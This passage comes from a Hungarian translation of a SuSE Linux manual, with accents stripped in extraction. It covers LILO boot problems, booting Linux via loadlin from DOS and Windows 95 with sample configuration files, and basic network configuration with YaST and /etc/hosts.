4. Rendszerbetlts s rendszerbetlt programok o Soha ne teleptsk a LILO indt szektort egy ismeretlen partcira, mert ezzel slyosan krostjuk az azon lv fjlrendszert! o A legjobb eljrs, ha ltrehozunk egy els dleges partcit (az allowed o section-on bell) s ide teleptjk az sszes LILO fjlt (belertve a LILO indt szektort is). Ez lesz a legtbb esetben a Linux root partcija. Hozz is adhatjuk ezt a /boot-hoz a YaST -tal. Az egyetlen felttel, hogy legyen elegend hely a o boot.b, map, message fjloknak, s azon Linux rendszermagoknak, amelyeket a LILO -val akarunk elindtani. Pr Megabjt b ven elg. Teljesen mindegy hov tesszk a tbbi partcio nkat. Nincs tbb megkts. Amint a rendszermag fut, korltozs nlkli hozzfrsnk van minden teleptett meghajthoz. De mit tegynk ha nincs hely ilyen partcira? Ha nem akarjuk sem jrapartcionlni a merevlemeznket, feljtani SCSI-ra, sem j BIOS verzit venni? Ekkor mg mindig van kt (kisegt ) lehet sgnk: o o Tehetjk a LILO -t a merevlemez helyett hajlkony lemezre, vagy ha az MS-DOS gyis fut, akkor hasznlhatjuk a loadlin betlt t a LILO helyett. o Teleptsk a LILO indt gpezetet a Linux partcira amely az engedlyezett rszen van (permitted section) s ahov a Linuxnak van rsi elrhet sge (pl. egy FAT/VFAT meghajt). Nem tehetjk a LILO indt o szektort ugyanide! gy csak kt helyre tehetjk azt. Akr egy kiterjesztett partci elejre az els meghajtn amg az alatta van az 1024-es o cilinderhatrnak vagy az MBR-ba. Felttelezzk, hogy a krdses partcit a /mnt-ba csatoltuk be, hogy a LILO a (/dev/hda) MBR-ban van, s hogy a /dev/hda1 DOS-rl is indtunk. Ekkor az albiak szerint kell eljrnunk: Ksztsnk egy j knyvtrat (pl. /mnt/LINUX) s msoljuk a fentebb emltett LILO fjlokat ide: boot.b, map, message, valamint a msik opercis rendszerek chain betlt jt (rendszerint chain.b) o s vgl a Linux rendszermagjait, hogy a LILO indtani tudjon. Ksztsnk egy /mnt/LINUX/lilo.conf-ot ahol minden tvonal a /mnt/LINUX-ra mutat (lsd a 4.8.1 fjllistban). Teleptsk a LILO -t ezzel a lilo.conf-al: meggyfa: # /sbin/lilo -C /mnt/LINUX/lilo.conf Ezutn a LILO -nak m kdnie kell. Indtsuk el az MS-DOS-t s vdu jk meg a LILO fjlokat, amennyire csak lehet az rsra elrst l (csak o emlkeztet knt: brmilyen rsi elrs lehetetlenn teszi a LILO m o u kdst). Ennek vgrehajtshoz, az sszes fjl DOS attributumt system s hidden-re kell vltoztatnunk, amelyek a X:\LINUX alatt vannak (ahol az X a DOS meghajt a /mnt al csatolva). Befejezsl kt HOWTO-t ajnlunk elolvasni: a /usr/share/doc/howto/en/mini/-bl a LILO.gz-t s a Large-Disk.gz-t. 140

4.8. LILO problmk


# LILO Configuration file # Start LILO global Section boot=/dev/hda # Installation target backup=/mnt/LINUX/hda.xxxx # backup of old MBR install=/mnt/LINUX/boot.b # Of course LILO and map=/mnt/LINUX/map # map file are in /mnt/LINUX! message=/mnt/LINUX/message # optional prompt timeout=100 # Wait at prompt: 10 s vga = normal # # End LILO global section # # Linux bootable partition config begins image = /mnt/LINUX/First_Kernel # default root = /dev/Your_Root_Device # Root partition! label = linux # # # # # # Linux bootable partition config ends System section for other kernels: End Linux DOS bootable partition config begins

other = /dev/hda1 # MSDOS system drive label = dos loader = /mnt/LINUX/chain.b table = /dev/hda # DOS bootable partition config ends

4.8.1 fjllista: lilo.conf ms partcikhoz 4.8.3 Specilis indtsi problmk a 2.0-s rendszermagok ta

Problmk Problmk merlhetnek fel a LILO -val val indtsnl a rendszermag egy rsznek betltse utn. (pl. a SuSE teleptsi rendszermaggal) :-( Kivlasztunk egy rendszermagot a LILO prompt-nl s az a rendszermag betltsre kerl (nhny pont jelenik meg a kperny n erre), de a rendszermag o nem indul el. Miel tt elrnnk az "uncompressing Linux" zenetet, a o rendszer sszeomlik a legklnbz bb mdokon. o Lehetsges hibk: Rendszer jrainduls Rendszer lefagys "crc-error" 141

4. Rendszerbetlts s rendszerbetlt programok o "no free space" "Error 0x00" "Error 0x01" "incomplete literal tree" Ezutn megprbljuk a hajlkonylemezzel val indtst, de a rendszer lefagy. Okozat Ezt a tl nagy rendszermag, LILO s a hibs hardver kombincija okozza. Ez megkzelt leg az sszes gpek 1%-nl fordul el . o o Felttelezzk, hogy ezt a hibs BIOS okozza, aminek problmt jelent a gyors memria elrs. Ez a problma nem fordul el , ha: o a gpet a loadlin-en keresztl indtjuk a rendszermagot egy hajlkonylemezre msoltuk
dd if=/vmlinuz of=/dev/fd0

s innen indtottunk kissebb rendszermagot hasznlunk, amit az albbi paranccsal hozunk ltre
make zImage

(pl. egy rgebbi 1.2.13 verzij rendszermagot) a LILO -n keresztl indtunk Az albbi BIOS belltsok sem okoznak semmi problmt: Disable Internal Cache DRAM Precharge Wait State value: 1 and DRAM Wait Burst Timing value: 0x3333 Megolds El szr is telepteni kell tudnunk egy rendszert. gy, ha nem tudunk sem o a loadlin-on sem a setup-on keresztl indtani, akkor egy rgi 1.2.13 verzij rendszermagot tartalmaz indt lemezt kell hasznlnunk teleptsre. Ha nincs kznl ilyen lemeznk, akkor eszerint kell megvltoztatnunk a BIOS belltsunkat. Sikeres telepts utn, az a krds: hogy akarunk indtani a jv ben? El szr o o ugyanazt a mdit kell hasznlnunk, mint amit teleptskor. A loadlin a DOS-bl indtva nem okozhat semmi problmt. Indt lemezzel az albbi paramtereket kell megadnunk:
load_ramdisk=0 root=/dev/???

ahol a ??? a root partcink (pl. /dev/hda1). Ezutn kszthetnk sajt rendszermagot, mivel ez indthat a LILO hasznlatval. 142

4.9. Indts a loadlin segtsgvel

4.9

Indts a loadlin segtsgvel

A kvetkez kben szeretnnk egy alternatvt ajnlani a SuSE Linux indto sra, ez a loadlin. A loadlin program egy DOS program, amely kpes indtani egy Linux rendszermagot a DOS knyvtrbl. gy, a loadlin tkletesen integrlja magt egy ltez DOS/Windows 9x krnyezetbe. Mivel nem szko sges bejegyzs az MBR-ba, a Windows csak egy vagy tbb partcit szlel, ismeretlen ID-vel. gy a Linux teleptsb l keletkez , nemkvnatos mellko o hatsok a minimlisra cskkennek. Az alant lert eljrs m kdik a Windows 95-n s a Windows 98-on is. A u fjlokat magukat Windows 95-ben rtuk; ezrt csak a Windows 95-r l fogunk o beszlni. Lnyegben kt md van a loadlin aktivlsra. Az egyik, hogy az indt menvel tkapcsolunk a klnbz rendszerek kztt, vagy elindtjuk a Linuxot o a loadlin-en keresztl egy msik fut rendszerr l. o Mindkt mdszernek van el nye s htrnya: o Az indt menvel elkerlhetjk a lehetsges problmkat, ami egy msik opercis rendszer indtsbl addhat, miel tt a Linuxot elindtannk. o Egy msik belltst is hozzadhatunk az indt mennkhz, hogy ltrehozzunk egy ltalnos indt mechanizmust. Mdostanunk kell az indt fjlokat, azonban egy indt ment pteni csak sok hiba s prblkozs rn tudunk. Linuxra vltani a DOS prompt-rl nagyon egyszer . u A Linux indtst nagyon szpen beleintegrlhatjuk a Windows 95-be. Kett s kattints egy megfelel en ltrehozott ikonra, el indthatja a Linuo o xot (a Windows 95 tartalmazza a DOS 7.0 verzijt). Indt ment kell hasznlnunk, ha DOS-t vagy Windows 3.x-et hasznlunk. Ha Windows 95-t hasznlunk, legknnyebben a fut rendszerb l o indthatunk. Az indt menk a Windows 95-ben nagyon sszetett dolgok. Csak nhny tletet tudunk adni ezekkel kapcsolatban. 4.9.1 Minden loadlin hasznl rszre szksges lpsek

Az albbiakat kell tennnk, akr az indt men hasznlata mellett dntnk, akr egy fut rendszerb l ( DOS, Windows 3.x, vagy Windows 95) indtunk: o 1. Bizonyra mr teleptettk a loadlin-t (ezt tettk a 2.5.4 . fejezetben (54. oldal)). Ha nem, akkor most tegyk meg a setup hasznlatval. 2. Vltsunk t a c:\loadlin knyvtrba MS-DOS-ban. Itt fogunk tallni egy linux.par nev fjlt. Hozzunk ltre egy startlin.bat nev u u fjlt (adhatunk ms nevet is neki). Most illesszk be a 4.9.1 fjllistban lthat sort:
c:\loadlin\loadlin @c:\loadlin\linux.par

4.9.1 fjllista: Batch fjl plda a Linux indtsra 143

4. Rendszerbetlts s rendszerbetlt programok o


c:\loadlin\vmlinuz # first value must be # the filename of the Linux # kernel # the device which gets # mounted as root FS # mount root read-only # az els rtknek a Linux o # rendszermag fjlnvnek kell lenni # az eszkz amit becsatolunk mint # root FS (fjlrendszer) # csak olvashat root becsatols

root=/dev/xxx

ro c:\loadlin\vmlinuz

root=/dev/xxx

ro

4.9.2 fjllista: Plda a linux.par fjlra, egyniestett rtkekkel Utna szerkesszk t a linux.par fjlt ( 4.9.2 fjllista). Az xxx helyett adjuk meg root partcink eszkznevt (lertuk ezt a nevet a 2.11.2 . fejezetben (78. oldal)). A startlin.bat elindtja a Linuxot. A startlin.bat a linux.par, valamint a config.sys fjlokat hasznlja. A linux.par lnyeges paramtereket tartalmaz. Ks bb, o amikor mr jobban megismerjk a Linuxot, hozzadhatunk vagy helyettesthetnk paramtereket itt. Ha sajt rendszermagot ptettnk, csak msoljuk a c:\loadlin\vmlinuz al s onnan ez a rendszermag fog elindulni. 4.9.2 Indt menk belltsa

gy lltsuk be az indt ment a DOS-ban vagy a Windows 3.x-ben: 1. El szr, deniljuk az indt men rszt a c:\config.sys fjlunkban. o Nyissuk meg a c:\config.sys-t egy szerkeszt ben, s rjunk be vao lami hasonlt, mint ami a 4.9.3 fjllistban lthat.
[Menu] menuitem=Win, starting Windows,... menuitem=DOS, starting DOS, MS-DOS... menuitem=Linux, starting Linux... menucolor=15,1 menudefault=Win,5

4.9.3 fjllista: Plda a Linux indt menre ac:\config.sys-ben Az indt menben, a [Menu] cmsz alatt, deniljunk egy-egy bejegyzst minden egyes opercis rendszerhez, amit indtani akarunk. Hatrozzuk meg a men sznt is, s hogy hny msodperc utn induljanak el automatikusan az egyes opercis rendszerek. 144

4.9. Indts a loadlin segtsgvel 2. Adjunk meg a cmszavakat [Common], [Win], [DOS], s [Linux]. A [Common]-ban megadott parancsok mindig vgrehajtdnak. Minden ms bejegyzs OS specikus. Lsd a 4.9.4 fjllistt. Mint egy tmutat, hasznlhatjuk a sorokat a sajt config.sys fjlunkban.
[Common] device=c:\dos\himem.sys /testmem:off device=c:\dos\emm386.exe noems I=E000-F4FF dos=high,umb files=30 buffers=10 shell=c:\dos\command.com [Win] devicehigh=c:\dos\dblspace.sys /move devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C [DOS] devicehigh=c:\dos\dblspace.sys /move devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C [Linux] shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par [Common] rem Remains blank

4.9.4 fjllista: Plda a Linux indt men msodik rszre a c:\config.sys-ben Most mentsk el a fjlt a vltoztatsainkkal. 3. Szerkesszk t a c:\autoexec.bat fjlt. Lsd a 4.9.5 fjllistt. Figyeljk meg, hogy a Linux esetet nem emltjk itt mert a Linuxot a loadlin hasznlatval indtjuk kzvetlen a c:\config.sys fjlbl. A %cong% vltoz tartalmazza a kivlasztott cmkket (:Win vagy :DOS). Mdostsuk a kdot, hogy illeszkedjen a gpnkhz. 4. Ha most elindtjuk a gpnket, az indt men jelenik meg. t msodpercnk van, hogy kivlasszunk egy opercis rendszert. az id letelte utn a o Windows indul el automatikusan (menudefault=Win,5). Ha a Linuxot vlasztjuk, a Linux elindul s vrja bejelentkezsnket. 4.9.3 A Linux indtsa a Windows-on bell

A Linuxhoz egy indt ikont kszthetnk, hogy elindtsuk a Linuxot a fut Windows 95-n bell: 1. Nyissuk ki a Windows Explorer-t. Vltsunk t a c:\loadlin knyvtrba. A jobb egrgombbal, kattintsunk a startlin.bat fjlra s vlasszuk a Parancsikon kszts-t (Create Shortcut). 2. Vigyk t a parancsikont a munkaasztalra. 145

4. Rendszerbetlts s rendszerbetlt programok o


@echo off rem Entries for all Configurations switches= /f set comspec=c:\dos\command.com prompt $p$g loadhigh c:\dos\keyb gr,,c:\dos\keyboard.sys loadhigh c:\dos\doskey set temp=c:\temp loadhigh c:\dos\mscdex.exe /D:SONY_000 /E /V /L:H c:\logimaus\mouse.exe goto %config% :Win c:\dos\smartdrv.exe a- b- c+ 2048 1024 path c:.;d:.;c:\windows;c:\dos;c:\util; win : c:\dos\smartdrv /C goto ende :DOS path c:.;d:.;c:\dos;c:\util; goto ende :ende echo * Viszlt *

4.9.5 fjllista: Plda az autoexec.bat fjlra, ami tmogatja a Linux indt ment 3. Kattintsunk a Shortcut to startlin.bat-ra a jobb egrgombbal, s vlasszuk a Tulajdonsgok-at (Properties). Menjnk a Program flre, kattintsunk az Advanced gombra s kattintsunk az MS-DOS mode on-ra. Vlasztunkat er stsk meg o OK-val. 4. Kattintsunk az Ikon megvltoztats (Change icon) gombra, s vlasszunk egy szp ikont; adjunk a parancsikonnak megfelel nevet ; me (Voila)! o 5. Kett s kattints az j parancsikonra el hoz egy prbeszdablakot, ami azt o o kzli, hogy a Windows 95 tkapcsol DOS mdra. Ha ez a prbeszdablak zavar minket, kikapcsolhatjuk a tulajdonsgok menben. 4.9.4 A Windows indt men

gy kell teleptennk egy indt ment a Windows 95-hz: 1. t kell szerkesztennk a c:\msdos.sys fjlt. El szr tegyk a fjlt o lthatv a kvetkez k bersval: o

146

4.9. Indts a loadlin segtsgvel C:> attrib -R -S -H c:\msdos.sys Ez egy szveges fjl amibe be kell rnunk nhny sort, hogy deaktivljuk a Windows 95 indt ment. Az [Options] cmsz alatt hasonlt kell ltnunk, mint ami a 4.9.6 fjllistban van.
[Options] BootGUI=0 BootDelay=0 BootMenu=0 Logo=0

4.9.6 fjllista: Az msdos.sys a Windows 95 indt men hasznlathoz A Logo=0 paramter opcionlis s megakadlyozza a grakus mdba val kapcsolst, miel tt a Windows 95 elindul. Az indts sokkal gyoro sabb s elkerlnk sok problmt, ha tervezzk a DOS emultor hasznlatt ks bb a Linuxban. o A BootGUI=0 paramter a Windows 95 kzvetlen DOS mdba val indtshoz van. A Windows innen val indtshoz be kell rnunk: C:> win de ezt mr megtettk a pldnkban c:\autoexec.bat llomnyban, ha a Win95-t a menb l vlasztottuk ki. o 2. Deniljuk az indt mennket a c:\config.sys-ben. Lsd a 4.9.7 fjllistt.
[Menu] menuitem=Win95, start Windows 95... menuitem=DOS, start MS-DOS... menuitem=Linux, start Linux... menudefault=Win95,5

4.9.7 fjllista: config.sys (els rsz) a Linux indtsra a Windows 95 o indt men hasznlatval A [Menu] cmsz alatt, llitsuk be a az indt men paramtereit, a szneket, s az indtsi kslelets mrtkt. 3. Ks bb, a config.sys-ben, adjuk meg cmszavakat [Win95], o [DOS], [Linux], s [Common]. A [Common] egy olyan bejegyzs, amely minden esetre vonatkozik (ez nagyon ritka eset lesz a Windows 95-ben). Minden ms cmsz, a megfelel opercis rendszerre o rtend . Hasznljuk azokat a sorokat, amelyek mr bele vannak rva o a config.sys fjlunkba. A 4.9.8 fjllistban lthat pldt, csak tletadnak szabad tekintennk. Mentsk el ezt a fjlt. 4. Utna, szerkesszk t a c:\autoexec.bat-ot. Itt ugyanazokat a cmszavakat adjuk meg, de a hasznlatuk kicsit klnbz . A cmsz, amit o kivlasztottunk a %cong% vltozbam kerl trolsra. Figyeljk meg, hogy a Linux, mint lehet sg itt nem szerepel, mert az a loadlin segtso 147

4. Rendszerbetlts s rendszerbetlt programok o

[Win95] dos=high,umb device=c:\windows\himem.sys /testmem:off [DOS] device=c:\plugplay\drivers\dos\dwcfgmg.sys dos=high,umb device=c:\windows\himem.sys /testmem:off device=c:\windows\emm386.exe noems I=B000-B7FF devicehigh=c:\cdrom\torisan.sys /D:TSYCD3 /P:SM [Linux] shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par [Common] accdate=C+ D+ H+ switches= /F buffers=20

4.9.8 fjllista: config.sys (msodik rsz) a Linux indtsa a Windows 95 indt men hasznlatval

@echo off loadhigh keyb gr,,c:\windows\command\keyboard.sys goto %config% :Win95 win goto ende :DOS path c:.;d:.;c:\windows\command;c:\util; loadhigh c:\windows\command\mscdex.exe /D:TSYCD3 /L:x loadhigh c:\windows\command\doskey c:\windows\command\mouse.exe goto ende :ende echo * And now? *

4.9.9 fjllista: autoexec.bat a Linux indtsra a Windows 95-ben

148

4.9. Indts a loadlin segtsgvel gvel mr a config.sys fjlban elindul. A bejegyzsnknek nagyjbl gy kell kinznie, mint az a 4.9.9 fjllistban lthat. Amikor befejeztk a fjl szerkesztst, ne felejtsk el elmenteni azt. 5. Ha most elindtjuk a gpnket, a Windows 95 indt mennek kell megjelenni, kt msodpercet adva neknk, hogy kivlasszunk egy bejegyzst. Ha a Parancssor-t (Command line) vlasztjuk, a sajt indt mennk fog megjelenni. Van t msodpercnk, hogy kivlasszunk egy opercis rendszert. A ksleltets letelte utn a Windows 95 automatikusan elindul. Ha a Linux-ot vlasztjuk, a Linux indul el s vrja a bejelentkezsnket.

149

4. Rendszerbetlts s rendszerbetlt programok o

150

III. rsz

Hlzati kongurls

151

5. fejezet

Linux a hlzatban
Fordtotta: Csiszr Imre

Bevezet o
A kommunikci kort ljk, rengeteg szmtgpet kapcsoltak egymshoz, szmuk egyre nvekszik, a hlzatba nem kttt gpek mr ritka kivtelnek szmtanak. A Linux is rsze az Internetnek, s minden rszben tmogatja a hlzati kapcsolatot. Ebben a fejezetben lerjuk a klnfle megoldsokat, amelyek szksgesek a hlzatunk belltshoz s karbantartshoz. Megemltjk a legfontosabb kongurcis fjlokat s a kezelsket megknnyt programokat is. o Megnzzk, hogyan lehet a Linuxot egy LAN hlzatba illeszteni, illetve hogyan hozhatunk ltre sajt hlzatot. Hlzati kapcsolatot ltestnk modemmel, mghozz Internet kapcsolatot PPP hasznlatval. Az egyre terjed o ISDN eszkzk hasznlatra is kitrnk. Belltjuk a fax fogadst s kldst, majd miutn a hardver mr m kdik, belltjuk a levelezst s a hrolvau sst. Szinte minden hlzati bellts elvgezhet a YaST segtsgvel (lsd a 3.6 o . fejezetben (102. oldal) s 17.6 . fejezetben (463. oldal)); de a hlzat belltsa nagyon sszetett, csak az alapvet m kdst s a legfontosabb fjlokat o u tudjuk bemutatni. Kapcsolat helyi hlzaton keresztl Egy Linux-ot futtat gp knnyen hozzkapcsolhat ms UNIX gpekhez (s termszetesen ms Linux gpekhez) helyi hlzaton keresztl (LAN). A sikerhez azonban szksg van bizonyos el felttelekre, amelyek el segtik o o Linux gpnk hasznlhatsgt a hlzati krnyezetben. Felttelek s el zetes munka o A Linux tmogatja az ltalnosan hasznlt hlzattpusokat (Ethernet, Arcnet, Token-Ring) s a leggyakoribb hlzati protokollokat (TCP/IP, AppleTalk, IPX). Az sszes varici bemutatsa jelent sen tlmutat e fejezet leheo t sgein, gy csak a "legltalnosabb" esetet nzzk meg: Ethernet hlzatba o kapcsolt Linux TCP/IP hlzati protokollal. Egyb hlzati megvalstsrl a legfrisebb informcik a kernel forrs Documentation knyvtrban 153

5. Linux a hlzatban tallhatk meg. A kernel belltsnl a sg funkci (feltve, ha engedlyeztk) sokat segthet a hlzati krtya illetve protokoll kivlasztsnl. Mi szksges? A gpnkben legyen egy Linux ltal ismert hlzati krtya. A krtya helyes m kdsr l a kvetkez parancs segtsgvel gy z dhetnk meg u o o o o (ajnlott a 130 karakter szles terminl):
meggyfa:/ # cat /proc/net/dev

Ltnunk kell egy eth0: kezdet sort: u Ha a kernel tmogatja a hlzati krtynkat (lsd a 13.2 . fejezetben (376. oldal)) a modul nevnek szerepelnie kell a /etc/modules.conf fljban. Az els Ethernet krtya pldul: o alias eth0 tulip options tulip Hasonl soroknak szerepelnik kell, ha sikeresen kivlasztottunk egy hlzati modult a telepts folyamn a Linuxrc programban. Nem kell pnikba esni, ha ezt elmulasztottuk volna (pl. teleptskor mg nem volt hlzati krtya a gpnkben), mivel ks bb is megtehetjk a YaST segtsgvel o (lsd a 3.6.1 . fejezetben (103. oldal)), vagy akr a YaST nlkl is. Ha mindezeknek a kvetelmnyeknek eleget tettnk, akkor mg nhny dolgot kell tgondolnunk, miel tt elkezdjk belltani a gpnket: o

Gp nv

Tartomnynv

(Host name ) A gpnk neve a hlzaton. A nv lehet leg ne legyen hosszabb 8 karakternl s semmikpp o ne legyen kt azonos nev gp a tartomnyban. Minu den esetben krdezzk meg a tartomny rendszergazdjt. (Domain name) A teljes tartomny neve, amelyben a gpnk tartzkodik. A tartomnystruktra jellemz o a nagyobb hlzatokra (mint amilyen az Internet is). A gpnk teljes neve (FQDN) a gp nevb l, a tartoo mny nevb l s a legfels tartomnynvb l kpezo o o het (TLD), Ezzel a teljes nvvel rhet el gpnk a o o hlzat tetsz leges rszr l. Pldakpp nzzk meg o o a meggyfa.liget (FQDN) cmet. Ebb l rgtn o ltszik, hogy a gpnk neve meggyfa, a liget tartomnyban tallhat, amely a com legfels tartoo mnyba tartozik. Az ltalunk hasznlhat tartomnynvr l krdezznk meg a tartomny rendszergazdo jt.

5.1 tblzat: folytats a kvetkez oldalon...... o

154

5. Linux a hlzatban

IP cm

(IP address) A gpnk cme a hlzaton. Minden gpnek van legalbb egy IP cme, minden hlzati csatolnak kln-kln. Az IP cm egyedi az "egsz" Interneten . Egy IP cm pontosan ngy bjtbl ll, amelyeket hrom pont vlaszt el egymstl (pldul 192.168.34.76). Jl gondoljuk meg az IP cmnket, hiszen gpnk az Internetre csatlakozik. Ezrt krdezzk meg a helyi hlzat rendszergazdjt, s t le krjnk egy IP cmet, hiszen egy vaktban o bert cmmel j esetben nem fogunk kapcsldni a hlzatra, roszabb esetben m kdskptelenn tehetu jk a helyi hlzatot. Vlaszthatunk privt IP cmet is (RFC 1597), egy privt IP cmmel ugyanis nem okozhatunk jelent s hlzati hibkat, de ez gyben is o krdezzk meg a helyi hlzat rendszergazdjt.
IP tartomny kezdete 10.0.0.0 172.16.0.0 192.168.0.0 vge - 10.255.255.255 - 172.31.255.255 - 192.168.255.255 Netmaszk 255.0.0.0 255.255.0.0 255.255.255.0 Tpus (A osztly) (B osztly) (C osztly)

tjr cm

Netmaszk

Az IP cmek kztt vannak specilis cmek is, amelyeket nem oszthatjuk ki a gpnk szmra. Ilyen IP cm pldul a hlzat azonost cm (pldul 192.168.x.0 vagy 10.0.0.0) s a Broadcast cm (192.168.x.255 vagy 10.255.255.255). (Gateway address) Ha van legalbb egy gp a helyi hlzaton, amely hozz van ktve ms hlzatokhoz is, s kpes adatokat kzvetteni a hlzatok kztt, akkor ez a gp egy "tjr" (gateway). Ennek a gpnek az IP cmt megadva lesznk kpesek kapcsolatot ltrehozni a hlzatunkon kvl es gpekkel is. o Az tjr IP cmt a helyi hlzat rendszergazdjtl tudhatjuk meg. A Netmaszk segtsgvel llapthatjuk meg, hogy a gp melyik hlzathoz tartozik. Ha az IP cmet S kapcsolatba hozzuk a hlzati maszkkal, akkor az eredmny pont a hlzat azonost IP cm lesz (lsd IP cm).

5.1 tblzat: folytats a kvetkez oldalon...... o

155

5. Linux a hlzatban

DNS kiszolgl cme

A DNS kiszolgl egy olyan gp, amely a gpnk nevhez hozzrendeli az IP cmt. Ugyanis a programok nem kpesek nv alapjn dolgozni, nekik csak s kizrlag az IP cm kell. Szmokat viszont nehezebb megjegyezni, mint szavakat, gy a DNS kiszolgl fordtja az ember ltal hasznlhat cmet a gp ltal hasznlhat cmre s viszont (Pl. a meggyfa gp IP cme 192.168.0.20). A DNS kiszolgl IP cmt krdezzk meg a tartomny rendszergazdjtl.

5.1 tblzat: Hlzati kongurci rtkei

156

5.1. Belltsok a YaST segtsgvel

5.1

Belltsok a YaST segtsgvel

Fordtotta : Auth Gbor s Ifj. Olajos Imre Ha rendelkeznk minden szksges eszkzzel s informcival (lsd a 5 . fejezetben (153. oldal)), akkor nekillhatunk a belltsnak a YaST segtsgvel. 1. Lpjnk be mint root. 2. Indtsuk el a YaST programot. 3. Vlasszuk ki a kvetkez menpontokat: Rendszeradminisztro ci, Hlzat konfigurlsa, Hlzati alapkonfigurls.

5.1 bra: A Hlzat belltsa a YaST segtsgvel 4. Vlasszunk ki egy sort, amelyik a "NONE" (NINCS) jelzst tartalmazza. Pl. a 0. 5. Az F5 gomb lenyomsa utn vlasszuk ki az Ethernet-et. 6. Az F6 gomb segtsgvel megadhatjuk gpnk IP cmt (pl. 192.168.0.20), a helyi hlzat Netmaszkjt (Egy C osztly hlzatban ez tipikusan 255.255.255.0. Egy ilyen tpus hlzatban maximlisan 254 gp zemelhet), s az tjr IP cmt. 7. A Folytats gombbal tovbb lphetnk. 8. Az F4 gombbal bekapcsolhatjuk az adott eszkzt. 9. Az F10 gomb segtsgvel elmenthetjk a belltst, az Esc megnyomsa pedig vltozatlanul hagyja. 10. Ha mg nem adtuk volna meg, akkor aHOST-nv vltoztatsa menpontot hasznlva adjuk meg gpnk s a tartomny nevt. 11. Hlzati szolgltatsok konfigurlsa menpont krdseire vlaszolva gpnk kpes lesz az engedlyezett szolgltatsokat nyjtani s vlaszolni a krsekre. 157

5. Linux a hlzatban Az inetd cscskiszolgl futsa szksges nhny szolgltats m ku dshez. Ilyen szolgltatsok pldul a telnet, ftp, pop3, stb. A biztonsgi vonatkozsokat megtallhatjuk a 18.2.2 . fejezetben (486. oldal). A portmapper futsa szksges az NFS s a NIS szolgltatsok m ku dshez. Ha el kvnjuk indtani, akkor e kt szolgltats futtatst is krhetjk: Az NFS egyfajta fljmegoszts, amely UNIX gpek kztt m ku dik. A gpnkre becsatolhat egy msik gp fjlrendszernek engedlyezett rsze, ha a msik gpen fut egy NFS kiszolgl. A NIS egy informcis rendszer, amely az NFS szolgltatssal egytt hasznlva igen hatkony lehet nagy hlzatok esetn. Ugyanis a NIS szolgltatst futtat gpek brmelyike el lve azonos munkakrnyezetet lthat a felhasznl, gy egy msik gpehez lve elmarad az "idegen gp" rzs. Megadhatunk egy nevet, amely szerepel majd a gp felhasznli ltal rt news cikkekben. ltalban a cg illetve szervezet neve. 12. Nvkiszolgl konfigurci menpont segtsgvel megadhatjuk azon DNS kiszolglk IP cmt, amelyeket hasznlni szeretnnk. Legfeljebb hrom IP cmet adhatunk meg szkzzel elvlasztva. Megadhatjuk mg az alaprtelmezett tartomnyt is. Ekkor a tartomnyon belli cmzskor nem kell megadni a teljes cmet, elegend a gpek nevt. o 13. A A sendmail konfigurlsa menponton bell vlaszthatunk ngy el re elksztett sendmail bellts kzl (lsd a 6.8 . fejezetben o (202. oldal)). Ezekutn a YaST elmenti a belltsokat a /etc/rc.config fjlba, ahol megtallhatjuk tbbek kztt az alapvet hlzati opcikat is. A YaST tartalo maz egy kezdetleges eszkzt ezen fjl mdostshoz (lsd a 17.6 . fejezetben (463. oldal)). Ha az alapvet hlzati belltsokkal megvagyunk, a YaST elindtja a o SuSEcong programot, amely elvgzi a tbbi fjlban is a megfelel belo ltsokat (lsd a 5.2 lejjebb). Ha vgzett, kilphetnk a YaST programbl, s a mdostsok letbelpshez jra kell indtanunk a hlzati rendszerrt felel s dmont: o
meggyfa:~ # rcnetwork restart

(lsd a 17 . fejezetben (457. oldal)).

5.2

Hlzat belltsa a YaST nlkl

Ugyan hasznlhatjuk a YaST programot a hlzat belltshoz, nhny esetben mgis knytelenek vagyunk bizonyos fjlokat tszerkesztve olyan belltsokat elvgezni, amelyeket a YaST nem vgez el. A legtbb bellts a /etc/rc.config fjlban tallhat meg. Ha ezt a YaST segtsgvel mdostjuk, akkor nincs gond. Viszont ha a YaST nlkl mdostjuk, akkor ne felejtsk el elindtani a SuSEcong programot, amely aktualizlja a mdostsokat! 158

5.2. Hlzat belltsa a YaST nlkl 5.2.1 Kongurcis fjlok

Ebben a fejezetben rviden lerjuk, hogy melyik fljnak mi a szerepe s milyen formtumban kell berni az adatokat. /etc/rc.config Ez az egyik kzponti kongurcis fjl, szinte mindent be tudunk lltani a hlzatra vonatkozlag. Minden mdosts utn indtsuk el a SuSEcong programot, hogy a mdostsok belekerljenek a tbbi kongurcis fjlba. Az sszes induls sorn (is) lefut szkriptek paramterei bellthatk ebben a fjlban. /etc/hosts Itt rendelhet k ssze a gpnevek IP cmekkel (lsd a 5.2.1 fjllistt) Ha o nem hasznlunk DNS kiszolglt, minden elrend gpet fel kell sorolni o ebben a fjlban, minden sorban egy-egy gp lersa szerepelhet. Be kell rni az IP cmet, a gp teljes nevt (FQDN) valamint a gp bels haszo nlatban elterjedt nevt (becenevt). Az IP cm el tt nem lehet szkz o vagy tabultor, a hrom bejegyzs elvlasztsra viszont szkzt vagy tabultort hasznljunk. Megjegyzsek # jellel kezd dnek s a sor vgig o tartanak.
# hosts Ez a fjl tartalmazza a teljes nv - IP cm # sszerendelseket. # A gpnk indulsakor hasznlja a linux, amikor a # hlzati alrendszer mr elindult, de a DNS kiszolgl # mg nem rhet el, illetve nem kvnunk DNS kiszolglt # hasznlni. # Kis hlzatoknl hasznlhatjuk DNS kiszolgl helyett # is, mivel prszor tz gp miatt nem rdemes DNS # kiszolglt belltani s zemeltetni. # A mdostsa utn a tartalmt elmentve a linux kpes # azonnal hasznlni a mdostott fjlt. # 127.0.0.1 localhost 193.141.17.1 gauss.suse.de gauss 193.141.17.42 sofa.suse.de sofa # End of hosts

5.2.1 fjllista: /etc/hosts /etc/networks A hlzat nevt rendeli a hlzat cmhez. Minden sorban egy hlzat lersa tallhat, a sor elejn a hlzat neve, szkzzel vagy tabultorral elvlasztva pedig a hlzat cme. Megjegyzsek # jellel kezd dnek s a sor vgig tartanak (lsd 5.2.2 fjllistt). o /etc/host.conf A fjl segtsgvel adhatjuk meg a nvfelolds resolver pontos m kdu st. Megjegyzsek # jellel kezd dhetnek s a sor vgig tartanak. A o kvetkez paramterek llthatk be: o

159

5. Linux a hlzatban
